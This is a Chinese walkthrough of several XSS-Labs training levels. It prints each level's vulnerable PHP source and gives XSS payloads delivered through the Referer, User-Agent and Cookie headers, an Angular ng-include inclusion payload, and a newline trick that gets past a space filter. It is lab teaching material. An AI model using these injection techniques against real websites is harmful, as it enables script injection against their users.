XSS-Labs靶场“11-13、15-16”关通关教程

君衍.

一、第十一关 referer参数注入
二、第十二关 user-agent参数注入
三、第十三关 cookie参数绕过
四、第十五关 ng-include文件包含
五、第十六关回车代替空格

点击跳转：
XSS-Labs靶场“1-5”关通关教程
XSS-Labs靶场“6-10”关通关教程

一、第十一关 referer参数注入

这里我们猜测依旧是隐藏参数的话，使用t_sort进行传参：
在这里插入图片描述
我们可以看到这里依旧是无法完成绕过的，所以我们猜测可能进行过滤，所以查看源码：

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");window.location.href="level12.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

在这里插入图片描述

这里我们即可看到隐藏参数并不是t_sort，t_sort参数进行了过滤。所以这里是t_ref，所以我们可以使用HTTP头中的referer参数进行注入。

可以使用hackbar扩展工具进行传参，首先导入，同时我们还可以使用Burp来抓包改包，使用hackbar方便一点。
在这里插入图片描述
直接写入参数：

"οnclick="alert(1)" type="text

在这里插入图片描述
查看源码：

可以看到这里已经完成了绕过，所以我们点击即可完成触发：

二、第十二关 user-agent参数注入

本关我们直接分析源码，查看注入点：

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");window.location.href="level13.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level12</title>
</head>
<body>
<h1 align=center>欢迎来到level12</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level12.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

在这里插入图片描述
可以看到本关和上一关差不多，这里使用user-agent参数罢了，所以我们直接上payload：

"οnclick="alert(1)" type="text

在这里插入图片描述

点击即可完成触发：

三、第十三关 cookie参数绕过

同样的，本关直接查看源码：

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");window.location.href="level14.php"; 
}
</script>
<title>欢迎来到level13</title>
</head>
<body>
<h1 align=center>欢迎来到level13</h1>
<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level13.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

在这里插入图片描述
从源码中可以看到依旧是采用cookie可以完成注入：

user="οnclick="alert(1)" type="text

在这里插入图片描述
点击即可完成触发：

十四关由于文件地址失效，无法完成测试：

四、第十五关 ng-include文件包含

本关从界面查看没有什么信息，只会看到一个可疑的注释掉的ng-include：
在这里插入图片描述

所以单从一个ng-include还不能判断如何使用，查看源码：

<html ng-app>
<head><meta charset="utf-8"><script src="angular.min.js"></script>
<script>
window.alert = function()  
{     
confirm("完成的不错！");window.location.href="level16.php?keyword=test"; 
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关，自己想个办法走出去吧！</h1>
<p align=center><img src=level15.png></p>
<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

在这里插入图片描述
所以我们将利用ng-include来包含外部的html文件，使用引号来引用。

?src='./level1.php'

在这里插入图片描述
可以看到这里成功引入第一关，同时这里需要注意路径。以及保留了第一关的漏洞，所以我们可以利用第一关的弹窗完成XSS注入：
（这个payload很多种，这里只列举几种）

?src='./level1.php?name=<img src=1 οnclick=alert(1)>'

在这里插入图片描述
点击即可完成触发。

五、第十六关回车代替空格

首先，本关依旧是测试，使用:

<script>alert(1)</script>

在这里插入图片描述
我们可以看到进行了过滤，所以我们查看源码：

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");window.location.href="level17.php?arg01=a&arg02=b"; 
}
</script>
<title>欢迎来到level16</title>
</head>
<body>
<h1 align=center>欢迎来到level16</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("	","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>
</body>
</html>

首先接受一个名为 “keyword” 的GET参数。然后，它会将接收到的参数值转换为小写，并进行一系列的字符串替换操作。具体来说，它将参数值中的 “script” 字符串替换为空格，然后将空格替换为 " "，将斜杠 “/” 替换为 " "，将制表符 " " 替换为空格。接着，它会在页面中心显示经过替换后的参数值，并在页面底部显示一个名为 “level16.png” 的图像。
所以这里我们可以使用回车代替空格，回车url编码为%0a：